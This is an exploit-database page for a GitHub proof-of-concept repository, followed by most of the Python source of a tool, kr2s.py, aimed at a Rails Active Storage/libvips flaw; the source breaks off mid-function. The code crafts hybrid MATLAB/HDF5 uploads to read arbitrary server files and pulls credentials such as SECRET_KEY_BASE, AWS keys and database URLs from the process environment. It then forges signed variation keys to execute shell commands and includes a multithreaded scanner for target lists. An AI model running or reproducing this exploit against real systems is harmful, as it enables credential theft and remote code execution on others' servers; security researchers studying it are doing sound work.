Exploit database

GH-011ce26cb8990657315890da7bdbe4bc

0xsha/kindarails2shell

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-66066

7 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files9
0xsha/kindarails2shellRevision 59d8c71c44db

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

kr2s.py

Suggested starting filePython · 43,765 bytes
#!/usr/bin/env python3
"""KindaRails2Shell research driver for CVE-2026-66066.

The tool exercises the Rails Active Storage/libvips arbitrary-file-read chain
and its conditional secret_key_base-to-forged-variation escalation. It uses
only the Python 3.11+ standard library.

Authorized testing only. Exploit commands and ``scan --active`` upload
persistent blobs and may create processed variants on the target. The rce
command executes the supplied command

(C) 2026 0xSha
"""

from __future__ import annotations

import argparse
import base64
import binascii
import hashlib
import hmac
import html
import http.cookiejar
import json
import pathlib
import re
import secrets
import ssl
import struct
import sys
import urllib.error
import urllib.parse
import urllib.request
import zlib
from concurrent.futures import ThreadPoolExecutor, as_completed
from dataclasses import dataclass
from typing import Mapping

__version__ = "1.2.0"
BANNER = "kr2s - KindaRails2Shell (CVE-2026-66066)"

_DEFAULT_UA = (
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
    "(KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
)
_MAX_TARGET_PATH = 4095
_MAX_READ_SIZE = 16 * 1024 * 1024
_MAX_RESPONSE_SIZE = 32 * 1024 * 1024
_TRIGGER_PNG = base64.b64decode(
    "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAC0lEQVR4nGNgYAAAAAMAASsJTYQAAAAASUVORK5CYII="
)

_TTY = sys.stdout.isatty()


class Kr2sError(RuntimeError):
    """Expected command or target failure."""


def _paint(code: str, text: str) -> str:
    return f"\033[{code}m{text}\033[0m" if _TTY else text


def info(message: str) -> None:
    print(f"[*] {message}", file=sys.stderr)


def good(message: str) -> None:
    print(_paint("32", f"[+] {message}"), file=sys.stderr)


def bad(message: str) -> None:
    print(_paint("31", f"[-] {message}"), file=sys.stderr)


def warn(message: str) -> None:
    print(_paint("33", f"[!] {message}"), file=sys.stderr)


# Generated once with h5py using a 512-byte userblock, a 4095-byte external
# filename placeholder, and the two MATLAB attributes required by libmatio.
# The HDF5 file uses version-1 object headers, so the fixed-width metadata fields
# below can be patched without checksums. research/craft.py can regenerate and
# independently inspect equivalent files; the release driver does not need it.
_MAT_TEMPLATE_ZLIB_B64 = (
    "eNrzdQzxcXRSMNUzUPB1DNFNy8xJ1VEIyEksScsvyrVSyC4yKtZRcC5KTSxJTVHIz7NS0FWg"
    "GmBg8vRlGAUDCjo9XNx4uaS4wBwODgYWBgGIBBOE+g8FL8RR+TD9CVCaEUp3QOkVTDBxRrCc"
    "BFRcEGo+urqQIFdXkOr/aABmT4QIhOYYjbIRCTxcHQPA6QDKh6ZShhNMqOpABRZyevSg0F5G"
    "Bk6IWYwwvgaEZmJESfe4aGagSxmh7mVESsGsQBrEZ2KCGMQONJcRqgaUYwxYsKd3mLkc0BzF"
    "zAjLKYwo6ngYDKDqeYFqORh8weV8fHJOYjE4fIQZQW5AmFeamVdiAXYnJGQXiGIPP1g8cAigu"
    "ieABVWd9ygYBaNgFIyCUTAKRsEoGAWjYBSMglEwCoY7YAj283cBjWPAxi8UmEfHsMgBPAwO0H"
    "EWISAbPo6TmVcSn5KanJ+SChsP40AdX0IfhwIAsXsOuA=="
)
_MAT_TEMPLATE_SIZE = 6120
_MAT_PATH_OFFSET = 1624
_MAT_FIELD_OFFSETS = {
    "width": (1344, 1360),
    "height": (1352, 1368),
    "external_offset": (1448,),
    "byte_count": (1456, 1482),
}


def craft_mat_external(
    target: str,
    width: int = 512,
    height: int = 64,
    offset: int = 0,
) -> bytes:
    """Return a hybrid MATLAB/HDF5 file backed by a target-side external file."""
    target_bytes = target.encode("utf-8")
    if not target.startswith("/"):
        raise Kr2sError("target file path must be absolute")
    if not target_bytes or b"\x00" in target_bytes:
        raise Kr2sError("target file path must not contain a NUL byte")
    if len(target_bytes) > _MAX_TARGET_PATH:
        raise Kr2sError(f"target file path exceeds {_MAX_TARGET_PATH} UTF-8 bytes")
    if width < 1 or height < 1:
        raise Kr2sError("payload dimensions must be positive")
    if offset < 0:
        raise Kr2sError("target file offset must be non-negative")

    byte_count = width * height
    if byte_count > _MAX_READ_SIZE:
        raise Kr2sError(f"read size exceeds {_MAX_READ_SIZE} bytes")
    if offset > 0x7FFF_FFFF_FFFF_FFFF:
        raise Kr2sError("target file offset is too large")

    try:
        template = zlib.decompress(base64.b64decode(_MAT_TEMPLATE_ZLIB_B64))
    except (binascii.Error, zlib.error) as error:
        raise Kr2sError("embedded MAT template is corrupt") from error
    if (
        len(template) != _MAT_TEMPLATE_SIZE
        or template[:10] != b"MATLAB 5.0"
        or template[124:128] != b"\x00\x02IM"
        or template[512:516] != b"\x89HDF"
    ):
        raise Kr2sError("embedded MAT template failed its integrity checks")

    payload = bytearray(template)
    padded_path = target_bytes + b"\x00" * (4096 - len(target_bytes))
    payload[_MAT_PATH_OFFSET : _MAT_PATH_OFFSET + 4096] = padded_path
    for field_offset in _MAT_FIELD_OFFSETS["width"]:
        struct.pack_into("<Q", payload, field_offset, width)
    for field_offset in _MAT_FIELD_OFFSETS["height"]:
        struct.pack_into("<Q", payload, field_offset, height)
    struct.pack_into("<Q", payload, _MAT_FIELD_OFFSETS["external_offset"][0], offset)
    for field_offset in _MAT_FIELD_OFFSETS["byte_count"]:
        struct.pack_into("<Q", payload, field_offset, byte_count)
    return bytes(payload)


def sign_active_storage(secret_key_base: str, data: bytes) -> str:
    key = hashlib.pbkdf2_hmac(
        "sha256",
        secret_key_base.encode(),
        b"ActiveStorage",
        1000,
        64,
    )
    encoded = base64.b64encode(data)
    signature = hmac.new(key, encoded, hashlib.sha1).hexdigest()
    return f"{encoded.decode()}--{signature}"


def sign_ruby_variation(secret_key_base: str, ruby: str) -> str:
    envelope = {"_rails": {"data": {"instance_eval": ruby}, "pur": "variation"}}
    data = json.dumps(envelope, separators=(",", ":")).encode()
    return sign_active_storage(secret_key_base, data)


def _decode_png_gray(png: bytes) -> tuple[int, int, bytes]:
    """Decode a non-interlaced 8-bit PNG and return its first color channel."""
    if png[:8] != b"\x89PNG\r\n\x1a\n":
        raise Kr2sError("variant response is not a PNG")

    position = 8
    width = height = bit_depth = color_type = interlace = 0
    compressed = bytearray()
    while position + 12 <= len(png):
        length = struct.unpack_from(">I", png, position)[0]
        end = position + 12 + length
        if end > len(png):
            raise Kr2sError("truncated PNG chunk")
        chunk_type = png[position + 4 : position + 8]
        chunk_data = png[position + 8 : position + 8 + length]
        expected_crc = struct.unpack_from(">I", png, position + 8 + length)[0]
        actual_crc = binascii.crc32(chunk_type + chunk_data) & 0xFFFF_FFFF
        if expected_crc != actual_crc:
            raise Kr2sError("PNG chunk checksum mismatch")
        if chunk_type == b"IHDR":
            if length != 13:
                raise Kr2sError("invalid PNG header")
            width, height, bit_depth, color_type, _, _, interlace = struct.unpack(
                ">IIBBBBB", chunk_data
            )
        elif chunk_type == b"IDAT":
            compressed.extend(chunk_data)
        elif chunk_type == b"IEND":
            break
        position = end

    channels = {0: 1, 2: 3, 4: 2, 6: 4}.get(color_type)
    if bit_depth != 8 or channels is None or interlace != 0:
        raise Kr2sError("unsupported PNG; expected non-interlaced 8-bit grayscale/RGB")
    if width < 1 or height < 1:
        raise Kr2sError("PNG has invalid dimensions")

    try:
        raw = zlib.decompress(bytes(compressed))
    except zlib.error as error:
        raise Kr2sError("invalid PNG compression stream") from error
    row_bytes = width * channels
    expected_size = height * (row_bytes + 1)
    if len(raw) != expected_size:
        raise Kr2sError("unexpected PNG scanline size")

    decoded = bytearray(height * row_bytes)
    previous = bytearray(row_bytes)
    source = 0
    for row_number in range(height):
        filter_type = raw[source]
        source += 1
        current = bytearray(raw[source : source + row_bytes])
        source += row_bytes
        for index in range(row_bytes):
            left = current[index - channels] if index >= channels else 0
            above = previous[index]
            upper_left = previous[index - channels] if index >= channels else 0
            if filter_type == 1:
                current[index] = (current[index] + left) & 0xFF
            elif filter_type == 2:
                current[index] = (current[index] + above) & 0xFF
            elif filter_type == 3:
                current[index] = (current[index] + ((left + above) // 2)) & 0xFF
            elif filter_type == 4:
                estimate = left + above - upper_left
                distances = (
                    abs(estimate - left),
                    abs(estimate - above),
                    abs(estimate - upper_left),
                )
                predictor = (left, above, upper_left)[distances.index(min(distances))]
                current[index] = (current[index] + predictor) & 0xFF
            elif filter_type != 0:
                raise Kr2sError(f"unsupported PNG filter {filter_type}")
        start = row_number * row_bytes
        decoded[start : start + row_bytes] = current
        previous = current

    gray = bytearray(width * height)
    for pixel in range(width * height):
        gray[pixel] = decoded[pixel * channels]
    return width, height, bytes(gray)


def recover_bytes(png: bytes, expected_width: int, expected_height: int) -> bytes:
    width, height, pixels = _decode_png_gray(png)
    if (width, height) != (expected_width, expected_height):
        raise Kr2sError(
            "variant geometry changed from "
            f"{expected_width}x{expected_height} to {width}x{height}; "
            "reduce --size or harvest a non-resizing variation"
        )
    recovered = bytearray(width * height)
    output = 0
    for x in range(width):
        for y in range(height):
            recovered[output] = pixels[y * width + x]
            output += 1
    return bytes(recovered)


class _NoRedirect(urllib.request.HTTPRedirectHandler):
    def redirect_request(self, req, fp, code, msg, headers, newurl):
        return None


@dataclass
class HttpResponse:
    status_code: int
    headers: Mapping[str, str]
    content: bytes
    reason: str
    url: str

    @property
    def text(self) -> str:
        content_type = self.headers.get("Content-Type", "")
        match = re.search(r"charset=([^;\s]+)", content_type, re.I)
        encoding = match.group(1).strip("\"'") if match else "utf-8"
        return self.content.decode(encoding, "replace")

    def json(self) -> object:
        return json.loads(self.content)


@dataclass
class Target:
    base: str
    show_path: str = "/show/{signed_id}"
    show_params: dict[str, str] | None = None
    timeout: float = 30
    insecure: bool = False
    user_agent: str = _DEFAULT_UA
    proxy: str | None = None

    def __post_init__(self) -> None:
        parsed = urllib.parse.urlsplit(self.base)
        if parsed.scheme not in {"http", "https"} or not parsed.hostname:
            raise Kr2sError("target must be an http:// or https:// URL")
        if parsed.username or parsed.password:
            raise Kr2sError("target URL must not contain credentials")
        if parsed.query or parsed.fragment:
            raise Kr2sError("target URL must not contain a query or fragment")
        self.base = urllib.parse.urlunsplit(
            (parsed.scheme, parsed.netloc, parsed.path.rstrip("/"), "", "")
        )

        cookie_jar = http.cookiejar.CookieJar()
        context = (
            ssl._create_unverified_context()
            if self.insecure
            else ssl.create_default_context()
        )

        def handlers() -> list[urllib.request.BaseHandler]:
            proxy_handler = (
                urllib.request.ProxyHandler({"http": self.proxy, "https": self.proxy})
                if self.proxy
                else urllib.request.ProxyHandler()
            )
            return [
                proxy_handler,
                urllib.request.HTTPCookieProcessor(cookie_jar),
                urllib.request.HTTPSHandler(context=context),
            ]

        self._opener = urllib.request.build_opener(*handlers())
        self._no_redirect_opener = urllib.request.build_opener(
            *handlers(), _NoRedirect()
        )

    def url(self, path: str) -> str:
        if path.startswith(("http://", "https://")):
            return path
        return urllib.parse.urljoin(f"{self.base}/", path.lstrip("/"))

    def request(
        self,
        method: str,
        path: str,
        *,
        data: bytes | None = None,
        headers: Mapping[str, str] | None = None,
        params: Mapping[str, str] | None = None,
        allow_redirects: bool = True,
    ) -> HttpResponse:
        url = self.url(path)
        if params:
            separator = "&" if urllib.parse.urlsplit(url).query else "?"
            url += separator + urllib.parse.urlencode(params)
        request_headers = {"User-Agent": self.user_agent}
        request_headers.update({str(k): str(v) for k, v in (headers or {}).items()})
        request = urllib.request.Request(
            url, data=data, headers=request_headers, method=method
        )
        opener = self._opener if allow_redirects else self._no_redirect_opener
        try:
            response = opener.open(request, timeout=self.timeout)
        except urllib.error.HTTPError as error:
            response = error
        except (urllib.error.URLError, TimeoutError, OSError) as error:
            raise Kr2sError(f"{method} {url} failed: {error}") from error

        try:
            content = response.read(_MAX_RESPONSE_SIZE + 1)
            if len(content) > _MAX_RESPONSE_SIZE:
                raise Kr2sError("HTTP response exceeded 32 MiB")
            return HttpResponse(
                status_code=response.status,
                headers=response.headers,
                content=content,
                reason=str(getattr(response, "reason", "") or ""),
                url=response.geturl(),
            )
        finally:
            response.close()

    def get(
        self,
        path: str,
        *,
        params: Mapping[str, str] | None = None,
        allow_redirects: bool = True,
    ) -> HttpResponse:
        return self.request("GET", path, params=params, allow_redirects=allow_redirects)


class ActiveStorageClient:
    CSRF_RE = re.compile(
        r'<meta[^>]+name=["\']csrf-token["\'][^>]+content=["\']([^"\']+)',
        re.I,
    )
    CSRF_RE_REVERSED = re.compile(
        r'<meta[^>]+content=["\']([^"\']+)["\'][^>]+name=["\']csrf-token["\']',
        re.I,
    )
    REP_RE = re.compile(
        r"/rails/active_storage/representations/(?:redirect|proxy)/"
        r"([^/\"'\s]+)/([^/\"'\s]+)/"
    )
    DIRECT_UPLOAD_PATH = "/rails/active_storage/direct_uploads"

    def __init__(self, target: Target):
        self.target = target
        self.csrf: str | None = None

    @classmethod
    def extract_csrf(cls, page: str) -> str | None:
        match = cls.CSRF_RE.search(page) or cls.CSRF_RE_REVERSED.search(page)
        return html.unescape(match.group(1)) if match else None

    @classmethod
    def extract_variation_key(cls, page: str) -> str | None:
        match = cls.REP_RE.search(html.unescape(page))
        return urllib.parse.unquote(match.group(2)) if match else None

    def bootstrap_csrf(self, path: str = "/") -> str | None:
        response = self.target.get(path)
        self.csrf = self.extract_csrf(response.text)
        return self.csrf

    def upload(
        self,
        data: bytes,
        filename: str = "avatar.png",
        content_type: str = "image/png",
    ) -> dict:
        checksum = base64.b64encode(hashlib.md5(data).digest()).decode()
        metadata = {
            "blob": {
                "filename": filename,
                "byte_size": len(data),
                "checksum": checksum,
                "content_type": content_type,
            }
        }
        headers = {"Content-Type": "application/json", "Accept": "application/json"}
        if self.csrf:
            headers["X-CSRF-Token"] = self.csrf
        response = self.target.request(
            "POST",
            self.DIRECT_UPLOAD_PATH,
            data=json.dumps(metadata, separators=(",", ":")).encode(),
            headers=headers,
        )
        if response.status_code not in {200, 201}:
            raise Kr2sError(
                "direct upload reservation failed: "
                f"HTTP {response.status_code} {response.text[:160]}"
            )
        try:
            result = response.json()
            direct_upload = result["direct_upload"]
            signed_id = result["signed_id"]
        except (KeyError, TypeError, json.JSONDecodeError) as error:
            raise Kr2sError("direct upload returned unexpected JSON") from error
        if (
            not isinstance(direct_upload, dict)
            or not isinstance(direct_upload.get("url"), str)
            or not isinstance(direct_upload.get("headers", {}), dict)
            or not isinstance(signed_id, str)
        ):
            raise Kr2sError("direct upload returned malformed fields")

        put_response = self.target.request(
            "PUT",
            direct_upload["url"],
            data=data,
            headers=direct_upload.get("headers", {}),
        )
        if put_response.status_code not in {200, 201, 204}:
            raise Kr2sError(f"blob upload failed: HTTP {put_response.status_code}")
        return result

    def harvest_variation_key(self, page_url: str) -> str | None:
        response = self.target.get(page_url)
        return self.extract_variation_key(response.text)

    def trigger_representation(
        self, signed_blob_id: str, variation_key: str
    ) -> bytes | None:
        quote = urllib.parse.quote
        path = (
            "/rails/active_storage/representations/redirect/"
            f"{quote(signed_blob_id, safe='')}/{quote(variation_key, safe='')}/x.png"
        )
        response = self.target.get(path)
        if response.status_code == 200 and response.headers.get(
            "Content-Type", ""
        ).startswith("image/"):
            return response.content
        return None

    def trigger_variant(self, signed_id: str) -> bytes | None:
        path = self.target.show_path.format(signed_id=signed_id)
        response = self.target.get(path, params=self.target.show_params)
        variant_url = None
        if response.headers.get("Content-Type", "").startswith("application/json"):
            try:
                body = response.json()
                variant_url = body.get("variant_url") or body.get("processed_url")
            except (AttributeError, json.JSONDecodeError):
                pass
        if not variant_url:
            match = re.search(
                r'(https?://[^\s"\']*?/rails/active_storage/'
                r'representations/[^\s"\']+)',
                html.unescape(response.text),
            )
            variant_url = match.group(1) if match else None
        if not variant_url:
            match = re.search(
                r'(/rails/active_storage/representations/[^\s"\']+)',
                html.unescape(response.text),
            )
            variant_url = self.target.url(match.group(1)) if match else None
        if not variant_url:
            return None
        image = self.target.get(variant_url)
        if image.status_code == 200 and image.headers.get(
            "Content-Type", ""
        ).startswith("image/"):
            return image.content
        return None


def read_file(
    client: ActiveStorageClient,
    path: str,
    size: int = 4096,
    offset: int = 0,
    filename: str = "avatar.png",
    variation_key: str | None = None,
) -> bytes | None:
    if size < 1 or size > _MAX_READ_SIZE:
        raise Kr2sError(f"read size must be between 1 and {_MAX_READ_SIZE}")
    if variation_key:
        width, height = 1, size
    else:
        width, height = 512, max(1, (size + 511) // 512)
    payload = craft_mat_external(path, width, height, offset)
    blob = client.upload(payload, filename=filename)
    if variation_key:
        png = client.trigger_representation(blob["signed_id"], variation_key)
    else:
        png = client.trigger_variant(blob["signed_id"])
    if png is None:
        return None
    return recover_bytes(png, width, height)[:size]


def _resolve_variation_key(
    client: ActiveStorageClient, arguments: argparse.Namespace
) -> str | None:
    page = arguments.harvest_url or arguments.entry
    if not page:
        return None
    key = client.harvest_variation_key(page)
    if key:
        good(f"harvested variation_key from {page} ({len(key)} bytes)")
    elif arguments.harvest_url:
        warn(f"no representation URL found on {page}; trying --show-path")
    return key


def _target_from_arguments(
    arguments: argparse.Namespace, url: str | None = None
) -> Target:
    raw_params = (
        arguments.show_param
        if arguments.show_param is not None
        else ["variant=convert"]
    )
    params: dict[str, str] = {}
    for item in raw_params:
        if item:
            key, _, value = item.partition("=")
            params[key] = value
    return Target(
        base=url or arguments.url,
        show_path=arguments.show_path,
        show_params=params or None,
        timeout=arguments.timeout,
        insecure=arguments.insecure,
        user_agent=arguments.user_agent,
        proxy=arguments.proxy,
    )


def _new_client(
    arguments: argparse.Namespace,
) -> tuple[Target, ActiveStorageClient, str | None]:
    target = _target_from_arguments(arguments)
    client = ActiveStorageClient(target)
    token = client.bootstrap_csrf(arguments.entry)
    return target, client, token


def cmd_check(arguments: argparse.Namespace) -> int:
    print(_paint("36;1", BANNER), file=sys.stderr)
    target, client, token = _new_client(arguments)
    info(f"target        {target.base}")
    info(f"csrf token    {'scraped' if token else 'not found (may still work)'}")
    variation_key = _resolve_variation_key(client, arguments)
    info(f"reading canary file {arguments.canary}")
    data = read_file(
        client,
        arguments.canary,
        size=arguments.size,
        filename=arguments.filename,
        variation_key=variation_key,
    )
    if data is None:
        warn("no variant returned (patched, unsupported, or wrong trigger page)")
        return 1
    printable = data.split(b"\x00\x00", 1)[0].rstrip(b"\x00")
    if not printable.strip():
        warn("variant rendered but no canary bytes were recovered")
        return 1
    good("VULNERABLE - arbitrary file read confirmed")
    print(
        _paint(
            "2",
            "    " + printable[:200].decode("utf-8", "replace").replace("\n", "\n    "),
        )
    )
    return 0


def cmd_read(arguments: argparse.Namespace) -> int:
    _, client, _ = _new_client(arguments)
    variation_key = _resolve_variation_key(client, arguments)
    data = read_file(
        client,
        arguments.path,
        size=arguments.size,
        offset=arguments.offset,
        filename=arguments.filename,
        variation_key=variation_key,
    )
    if data is None:
        bad("no variant returned (patched, unsupported, or wrong trigger page)")
        return 1
    if arguments.output:
        pathlib.Path(arguments.output).write_bytes(data)
        good(f"wrote {len(data)}-byte recovered prefix to {arguments.output}")
    else:
        sys.stdout.buffer.write(data)
        sys.stdout.buffer.flush()
    return 0


def cmd_secrets(arguments: argparse.Namespace) -> int:
    print(_paint("36;1", BANNER), file=sys.stderr)
    _, client, _ = _new_client(arguments)
    variation_key = _resolve_variation_key(client, arguments)
    info("reading /proc/self/environ")
    environment = read_file(
        client,
        "/proc/self/environ",
        size=arguments.size,
        filename=arguments.filename,
        variation_key=variation_key,
    )
    if not environment:
        bad("could not read process environment")
        return 1

    pairs: dict[str, str] = {}
    for chunk in environment.split(b"\x00"):
        if b"=" not in chunk:
            continue
        key, value = chunk.split(b"=", 1)
        try:
            pairs[key.decode()] = value.decode()
        except UnicodeDecodeError:
            continue
    patterns = (
        "SECRET_KEY_BASE",
        "RAILS_MASTER_KEY",
        "DATABASE_URL",
        "DATABASE_PASSWORD",
        "AWS_SECRET_ACCESS_KEY",
        "AWS_ACCESS_KEY_ID",
        "REDIS_URL",
        "SECRET_TOKEN",
        "GITHUB_TOKEN",
        "STRIPE_",
        "LAB_CANARY",
    )
    hits = {
        key: value
        for key, value in pairs.items()
        if any(pattern in key for pattern in patterns)
    }
    if hits:
        good(f"recovered {len(hits)} sensitive variable(s):")
        for key, value in hits.items():
            shown = (
                value
                if arguments.show_full
                else value[:12] + ("…" if len(value) > 12 else "")
            )
            print(f"    {_paint('33', key)} = {shown}")
    else:
        warn(f"read {len(pairs)} variables but none matched secret patterns")

    for credential_path in arguments.also_read:
        info(f"reading {credential_path}")
        recovered = read_file(
            client,
            credential_path,
            size=arguments.size,
            filename=arguments.filename,
            variation_key=variation_key,
        )
        if recovered and recovered.strip(b"\x00 \r\n"):
            good(f"{credential_path}:")
            display = (
                recovered.split(b"\x00\x00", 1)[0]
                .decode("utf-8", "replace")
                .replace("\n", "\n    ")[:600]
            )
            print(_paint("2", f"    {display}"))
    return 0


def _fire_variation(
    client: ActiveStorageClient,
    signed_blob_id: str,
    secret_key_base: str,
    ruby: str,
) -> bool:
    key = sign_ruby_variation(secret_key_base, ruby)
    info(f"forged variation_key ({len(key)} bytes)")
    return client.trigger_representation(signed_blob_id, key) is not None


def cmd_rce(arguments: argparse.Namespace) -> int:
    print(_paint("36;1", BANNER), file=sys.stderr)
    _, client, _ = _new_client(arguments)
    variation_key = _resolve_variation_key(client, arguments)

    secret_key_base = arguments.skb
    if not secret_key_base:
        info("recovering secret_key_base through the file-read primitive")
        environment = read_file(
            client,
            "/proc/self/environ",
            size=arguments.size,
            filename=arguments.filename,
            variation_key=variation_key,
        )
        if environment:
            for chunk in environment.split(b"\x00"):
                if chunk.startswith(b"SECRET_KEY_BASE="):
                    secret_key_base = chunk.split(b"=", 1)[1].decode("utf-8", "replace")
                    break
    if not secret_key_base:
        bad("could not recover SECRET_KEY_BASE; supply --skb if already known")
        return 1
    good(f"secret_key_base = {secret_key_base[:16]}… ({len(secret_key_base)} chars)")

    trigger = client.upload(_TRIGGER_PNG, filename=arguments.filename)
    marker = f"/tmp/.kr2s_{secrets.token_hex(8)}"
    encoded_command = base64.b64encode(arguments.command.encode()).decode()
    ruby = (
        f"File.binwrite({json.dumps(marker)},"
        f"IO.popen(['/bin/sh','-c',{json.dumps(encoded_command)}.unpack1('m0')],"
        "err:[:child,:out],&:read));self"
    )
    if not _fire_variation(client, trigger["signed_id"], secret_key_base, ruby):
        warn("forged variation did not return a processed image")

    recovered = read_file(
        client,
        marker,
        size=arguments.size,
        filename=arguments.filename,
        variation_key=variation_key,
    )
    output = recovered.split(b"\x00\x00", 1)[0].rstrip(b"\x00") if recovered else b""

    try:
        cleanup = f"File.delete({json.dumps(marker)});self"
        _fire_variation(
            client,
            trigger["signed_id"],
            secret_key_base,
            cleanup,
        )
        info("requested cleanup of the target-side output file")
    except Kr2sError as error:
        warn(f"could not request output-file cleanup: {error}")

    if output.strip():
        good("RCE CONFIRMED - command output:")
        print(
            _paint(
                "2",
                "    " + output.decode("utf-8", "replace").replace("\n", "\n    "),
            )
        )
        return 0
    warn(
        "no command output recovered; the forged variation or read-back was blocked"
    )
    return 1


def _probe_payloads(canary: str):
    vms = (
        "[Virtual Microscope Specimen]\r\n"
        "NoLayers=1\r\nNoJpegColumns=1\r\nNoJpegRows=1\r\n"
        f"ImageFile={canary}\r\nMapFile={canary}\r\n"
        f"OptimisationFile={canary}\r\nMacroImage=macro.jpg\r\n"
        "PhysicalWidth=1000\r\nPhysicalHeight=1000\r\n"
    ).encode()
    vmu = (
        "[Uncompressed Virtual Microscope Specimen]\r\n"
        f"NoLayers=1\r\nImageFile={canary}\r\nBitsPerPixel=36\r\n"
        "PixelWidth=64\r\nPixelHeight=64\r\n"
        "PhysicalWidth=1000\r\nPhysicalHeight=1000\r\n"
    ).encode()
    svg = (
        b'<svg xmlns="http://www.w3.org/2000/svg" width="8" height="8">'
        b'<rect width="8" height="8"/></svg>'
    )
    mvg = (
        "push graphic-context\nviewbox 0 0 64 64\n"
        "fill red\nrectangle 0,0 63,63\npop graphic-context\n"
    ).encode()
    msl = (
        '<?xml version="1.0"?><image><read filename="xc:red"/>'
        '<resize geometry="8x8"/><write filename="/tmp/kr2s-probe.png"/></image>'
    ).encode()
    analyze = bytearray(348)
    struct.pack_into("<i", analyze, 0, 348)
    analyze[38] = ord("r")
    struct.pack_into("<hhhhh", analyze, 40, 4, 8, 8, 1, 1)
    struct.pack_into("<hh", analyze, 70, 2, 8)
    yield "openslideload (VMS)", vms, "p.vms"
    yield "openslideload (VMU)", vmu, "p.vmu"
    yield "svgload", svg, "p.svg"
    yield "magickload (MVG)", mvg, "p.mvg"
    yield "magickload (MSL)", msl, "p.msl"
    yield "analyzeload", bytes(analyze), "p.hdr"


def cmd_probe(arguments: argparse.Namespace) -> int:
    print(_paint("36;1", BANNER), file=sys.stderr)
    _, client, _ = _new_client(arguments)
    variation_key = _resolve_variation_key(client, arguments)
    info(f"probing loader reachability with {arguments.canary}")
    results: dict[str, bool] = {}
    try:
        mat = read_file(
            client,
            arguments.canary,
            size=arguments.size,
            filename="probe.png",
            variation_key=variation_key,
        )
        results["matload (READ PRIMITIVE)"] = bool(mat and mat.strip(b"\x00 \r\n"))
    except Kr2sError:
        results["matload (READ PRIMITIVE)"] = False

    for name, payload, filename in _probe_payloads(arguments.canary):
        try:
            blob = client.upload(payload, filename=filename, content_type="image/png")
            if variation_key:
                image = client.trigger_representation(blob["signed_id"], variation_key)
            else:
                image = client.trigger_variant(blob["signed_id"])
            results[name] = image is not None
        except Kr2sError:
            results[name] = False

    for name, reachable in results.items():
        state = "rendered" if reachable else "blocked/absent/invalid"
        (good if reachable else warn)(f"{name:30s} {state}")
    if results["matload (READ PRIMITIVE)"]:
        good("target is VULNERABLE to arbitrary file read")
        return 0
    warn("matload read primitive was not confirmed")
    return 1


def _normalize_scan_target(value: str) -> str:
    target = value.strip()
    if not target:
        raise Kr2sError("empty scan target")
    if "://" not in target:
        target = f"http://{target}"
    return target


def _load_scan_targets(source: str) -> list[str]:
    if source.startswith(("http://", "https://")):
        candidates = [source]
    else:
        path = pathlib.Path(source)
        if path.is_file():
            try:
                candidates = [
                    line.strip()
                    for line in path.read_text(
                        encoding="utf-8", errors="replace"
                    ).splitlines()
                    if line.strip() and not line.lstrip().startswith("#")
                ]
            except OSError as error:
                raise Kr2sError(
                    f"could not read target list {source}: {error}"
                ) from error
        elif path.suffix.lower() in {".txt", ".list"}:
            raise Kr2sError(f"target list does not exist: {source}")
        else:
            candidates = [source]

    targets: list[str] = []
    seen: set[str] = set()
    for candidate in candidates:
        normalized = _normalize_scan_target(candidate)
        if normalized not in seen:
            targets.append(normalized)
            seen.add(normalized)
    return targets


def _scan_one(url: str, arguments: argparse.Namespace) -> dict[str, object]:
    result: dict[str, object] = {
        "url": url,
        "mode": "active" if arguments.active else "passive",
    }
    try:
        target = _target_from_arguments(arguments, url=url)
        result["url"] = target.base
        client = ActiveStorageClient(target)
        entry_response = target.get(arguments.entry)
        client.csrf = client.extract_csrf(entry_response.text)
        result["http_status"] = entry_response.status_code
        result["csrf_token"] = client.csrf is not None

        harvest_page = arguments.harvest_url or arguments.entry
        if harvest_page == arguments.entry:
            harvest_response = entry_response
        else:
            harvest_response = target.get(harvest_page)
        variation_key = client.extract_variation_key(harvest_response.text)
        result["variation_key"] = variation_key is not None

        if not arguments.active:
            if variation_key:
                result["status"] = "SURFACE_FOUND"
                result["detail"] = (
                    "harvestable Active Storage representation found; "
                    "use --active to confirm the CVE"
                )
            elif 200 <= entry_response.status_code < 400:
                result["status"] = "NO_RECIPE"
                result["detail"] = (
                    "target is reachable but no harvestable representation was found"
                )
            else:
                result["status"] = f"HTTP_{entry_response.status_code}"
                result["detail"] = "entry page did not return a successful response"
            return result

        recovered = read_file(
            client,
            arguments.canary,
            size=arguments.size,
            filename=arguments.filename,
            variation_key=variation_key,
        )
        if recovered and recovered.strip(b"\x00 \r\n"):
            result["status"] = "VULNERABLE"
            result["recovered_bytes"] = len(recovered.rstrip(b"\x00"))
            result["detail"] = "arbitrary file read confirmed"
        else:
            result["status"] = "BLOCKED_OR_INCONCLUSIVE"
            result["detail"] = (
                "no canary bytes returned; patched, blocked, unsupported, "
                "or missing a usable variant trigger"
            )
    except Kr2sError as error:
        result["status"] = "ERROR"
        result["error"] = str(error)[:240]
    return result


def cmd_scan(arguments: argparse.Namespace) -> int:
    targets = _load_scan_targets(arguments.target)
    if not targets:
        raise Kr2sError("target list is empty")
    mode = "active file-read confirmation" if arguments.active else "passive preflight"
    info(
        f"scanning {len(targets)} target(s) with {arguments.threads} thread(s): {mode}"
    )
    if arguments.active:
        warn("active scan uploads persistent blobs and may create processed variants")

    indexed_results: list[tuple[int, dict[str, object]]] = []
    with ThreadPoolExecutor(max_workers=arguments.threads) as executor:
        futures = {
            executor.submit(_scan_one, url, arguments): index
            for index, url in enumerate(targets)
        }
        for completed, future in enumerate(as_completed(futures), 1):
            result = future.result()
            indexed_results.append((futures[future], result))
            status = str(result["status"])
            line = (
                f"[{completed}/{len(targets)}] {result['url']}  {status}  "
                f"http={result.get('http_status', '-')} "
                f"csrf={'yes' if result.get('csrf_token') else 'no'} "
                f"recipe={'yes' if result.get('variation_key') else 'no'}"
            )
            if status == "VULNERABLE":
                print(_paint("31", line))
            elif status in {"SURFACE_FOUND", "BLOCKED_OR_INCONCLUSIVE"}:
                print(_paint("33", line))
            elif status in {"NO_RECIPE"}:
                print(_paint("32", line))
            else:
                print(line)

    results = [result for _, result in sorted(indexed_results)]
    if arguments.json_output:
        try:
            pathlib.Path(arguments.json_output).write_text(
